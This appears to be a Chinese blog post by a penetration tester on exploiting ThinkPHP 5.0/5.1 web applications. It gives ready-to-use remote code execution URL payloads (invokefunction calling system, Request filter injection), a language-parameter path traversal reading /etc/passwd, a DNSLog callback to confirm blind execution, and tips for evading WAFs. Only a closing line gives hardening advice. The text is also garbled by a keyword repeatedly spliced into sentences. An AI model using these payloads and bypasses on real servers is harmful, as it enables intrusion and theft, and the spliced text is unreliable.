游客发表
2023年夏天,漏洞利用我在一个甲方内网做渗透测试,漏洞利用目标系统用的漏洞利用是ThinkPHP 5.0.22。当时随手试了一个payload,漏洞利用URL里加了个参数,漏洞利用服务器直接把数据库配置吐了出来。漏洞利用甲方技术负责人当场脸色就变了——这套系统上线两年,漏洞利用没人发现这个口子。漏洞利用
ThinkPHP的漏洞利用漏洞利用,核心就一句话:框架帮你省了多少事,漏洞利用就帮你埋了多少雷。漏洞利用那些"优雅"的漏洞利用封装,在安全视角下全是漏洞利用攻击面。
ThinkPHP 5.x早期版本有个致命设计——路由参数和请求变量没有严格隔离。你访问 /index.php?漏洞利用s=index/think\app/invokefunction 这种URL,框架会尝试把 s 参数解析成模块/控制器/操作。问题在于,think\app 这个类里的 invokefunction 方法可以直接调用任意PHP函数。
我见过最粗暴的利用方式:
?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami 服务器直接执行 whoami。没有WAF的情况下,这一条URL就是一台肉鸡。
为什么能这样?ThinkPHP的 invokeFunction 方法本意是给内部调用用的,但它被暴露在了路由可达的位置。框架开发者觉得"用户不会传这种参数",攻击者偏偏就传了。
ThinkPHP 5.1.x 修了上面的洞,但引入了新的问题。请求参数过滤不严,配合 Request 类的 filter 属性,可以注入PHP代码。典型payload:
?s=index/\think\Request/input&filter[]=phpinfo&data=1 这个漏洞的触发条件稍微苛刻一点,需要路由开启兼容模式。但国内大量老项目为了兼容旧代码,恰恰开着这个模式。我在fofa上搜过,ThinkPHP 5.1的资产数量到今天依然可观。
有个细节值得说:filter 参数本来是用来过滤用户输入的,设计上允许传入函数名。但框架没限制函数白名单,phpinfo、system、assert 统统能塞进去。这相当于把一把上了膛的枪放在客厅茶几上,然后说"我相信你不会扣扳机"。
ThinkPHP的多语言功能有个 lang 参数,用来切换语言包。这个参数直接拼接到文件路径里,没有做目录穿越过滤。构造:
?lang=../../../../etc/passwd 如果服务器是Linux且权限配置不当,直接读系统文件。Windows下可以读 C:\Windows\win.ini。这个漏洞在5.0.x和5.1.x都存在过,后来官方加了 realpath 校验才堵住。
我遇到过最离谱的情况:某CMS基于ThinkPHP二次开发,把 lang 参数做成了"模板选择"功能,用户传什么就加载什么文件。这已经不是框架的锅了,是开发者把框架的坑挖得更深。
不是框架开发者水平差。ThinkPHP的设计哲学是"约定优于配置",大量使用魔术方法和动态调用。这种设计写业务代码很爽,但安全边界极其模糊。__call、call_user_func、ReflectionClass 这些机制在框架内部到处用,攻击者只要找到一个入口,就能顺着调用链爬到危险函数。
另一个原因是历史包袱。ThinkPHP 3.2 到 5.1 的升级过程中,为了兼容老项目,保留了很多不安全的默认行为。比如路由兼容模式、自动加载任意类、请求参数直接映射到方法参数——这些在当年是"特性",现在是"漏洞"。
打ThinkPHP目标,第一步永远是判断版本。访问 /index.php?s=index/index/index,看返回的报错信息里有没有版本号。或者直接请求 /ThinkPHP/ThinkPHP.php,有些老版本会暴露路径。
第二步是找入口。如果目标关了调试模式,直接打RCE可能没回显。这时候用DNSLog验证:?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_get_contents&vars[1][]=http://your.dnslog.cn。有DNS请求就说明代码执行成功了。
第三步是绕过WAF。国内很多WAF对ThinkPHP的payload有规则,但规则往往只匹配 system、phpinfo 这些关键词。用 base64_decode 套一层,或者用 assert 替代 eval,经常能过。有次我用 array_map 配合 assert,WAF完全没反应。
最后说个真实案例。某次攻防演练,目标站是ThinkPHP 5.0.24,WAF是某云厂商的。直接打RCE被拦,换编码也被拦。后来发现WAF只检查URL,不检查POST body。把payload从GET改成POST,s参数放body里,一次就穿了。WAF厂商的规则更新速度,永远赶不上攻击者的思路。
ThinkPHP的漏洞利用,本质上是框架设计哲学与安全需求的冲突。用的人越多,攻击者越关注,漏洞暴露得越彻底。对于运维来说,升级到最新版本、关闭调试模式、限制路由兼容模式,能挡住90%的自动化扫描。剩下的10%,靠的是对代码的熟悉程度和一点运气。
友情链接